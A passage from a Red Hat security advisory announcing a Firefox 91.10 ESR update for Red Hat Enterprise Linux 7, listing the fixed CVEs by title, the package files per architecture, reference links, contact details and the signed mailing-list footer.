After installing the update, Firefox must be restarted for the changes to  
take effect.

5. Bugs fixed (https://bugzilla.redhat.com/):

2092018 - CVE-2022-31736 Mozilla: Cross-Origin resource's length leaked  
2092019 - CVE-2022-31737 Mozilla: Heap buffer overflow in WebGL  
2092021 - CVE-2022-31738 Mozilla: Browser window spoof using fullscreen mode  
2092023 - CVE-2022-31740 Mozilla: Register allocation problem in WASM on arm64  
2092024 - CVE-2022-31741 Mozilla: Uninitialized variable leads to invalid memory read  
2092025 - CVE-2022-31742 Mozilla: Querying a WebAuthn token with a large number of allowCredential entries may have leaked cross-origin information  
2092026 - CVE-2022-31747 Mozilla: Memory safety bugs fixed in Firefox 101 and Firefox ESR 91.10

6. Package List:

Red Hat Enterprise Linux Client (v. 7):

Source:  
firefox-91.10.0-1.el7_9.src.rpm

x86_64:  
firefox-91.10.0-1.el7_9.x86_64.rpm  
firefox-debuginfo-91.10.0-1.el7_9.x86_64.rpm

Red Hat Enterprise Linux Client Optional (v. 7):

x86_64:  
firefox-91.10.0-1.el7_9.i686.rpm

Red Hat Enterprise Linux Server (v. 7):

Source:  
firefox-91.10.0-1.el7_9.src.rpm

ppc64:  
firefox-91.10.0-1.el7_9.ppc64.rpm  
firefox-debuginfo-91.10.0-1.el7_9.ppc64.rpm

ppc64le:  
firefox-91.10.0-1.el7_9.ppc64le.rpm  
firefox-debuginfo-91.10.0-1.el7_9.ppc64le.rpm

s390x:  
firefox-91.10.0-1.el7_9.s390x.rpm  
firefox-debuginfo-91.10.0-1.el7_9.s390x.rpm

x86_64:  
firefox-91.10.0-1.el7_9.x86_64.rpm  
firefox-debuginfo-91.10.0-1.el7_9.x86_64.rpm

Red Hat Enterprise Linux Server Optional (v. 7):

x86_64:  
firefox-91.10.0-1.el7_9.i686.rpm

Red Hat Enterprise Linux Workstation (v. 7):

Source:  
firefox-91.10.0-1.el7_9.src.rpm

x86_64:  
firefox-91.10.0-1.el7_9.x86_64.rpm  
firefox-debuginfo-91.10.0-1.el7_9.x86_64.rpm

Red Hat Enterprise Linux Workstation Optional (v. 7):

x86_64:  
firefox-91.10.0-1.el7_9.i686.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2022-31736  
https://access.redhat.com/security/cve/CVE-2022-31737  
https://access.redhat.com/security/cve/CVE-2022-31738  
https://access.redhat.com/security/cve/CVE-2022-31740  
https://access.redhat.com/security/cve/CVE-2022-31741  
https://access.redhat.com/security/cve/CVE-2022-31742  
https://access.redhat.com/security/cve/CVE-2022-31747  
https://access.redhat.com/security/updates/classification/#important

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBYpgd29zjgjWX9erEAQjDJw/9GyMoZVw8QM2qWlsNJMu+lOQfiLKV2V5V  
55YeohSIizQMlvRTD3sLt/X787qgsIe8qeD+xdz8Jn4DAaeuw8DBEaZECjlzlCxq  
FQW6EU4E0vy1HP7/xPOTrBhVSop7JMZYBE9bUZ+ker15iVIjRfNbxsI7idMTpRwV  
Fm3eHpA0ua0kKLuLp2O7nOZWCyuKmWt301UXSX2jdJHnf+ok4iE8oJD3BZU75S8f  
Fa6OyoKhjCYQD+wrOqEToQimoNj0sKwrKkf6hKx088/AL5b4m8jW+OSvcmIys4bd  
/sPtrfx6orEoR2wsEo4mfXqa3OZZjGZeCUCPnWpG4+JR/rTkjRhy2AuyfUH8ZLkW  
lcm6gWPApn0Fa7fBTte7usuQyXaPvLFpgKG9oioeP4YWfb6FtTlXlg1uyIUdfI7/  
dp4BBPEkqKzlqLOEsl+vWTUQ/3JI3V7dfrdWt1SHcQ/Tw923KCvNJEhHTklpRuP1  
v8lZuqpOeBQKRAyLnoxyFT9ZzHDOMDsK4C7+eg3/gf2xT94+SshDpsBXnLKl9Ql9  
AKLHNM/BCN04Y9M139Dgdqpciv5c5vKeb33fU0xd0rLEunZPjjwO0hNYEXCJguv+  
ZE0jVVLtcJYqmofw/6SHE7IXP11TTxrSKpT4l9ksG2oSP37+P+V860EzC7VzpI/l  
hzy/DspgZn8=SXox  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Tag

#firefox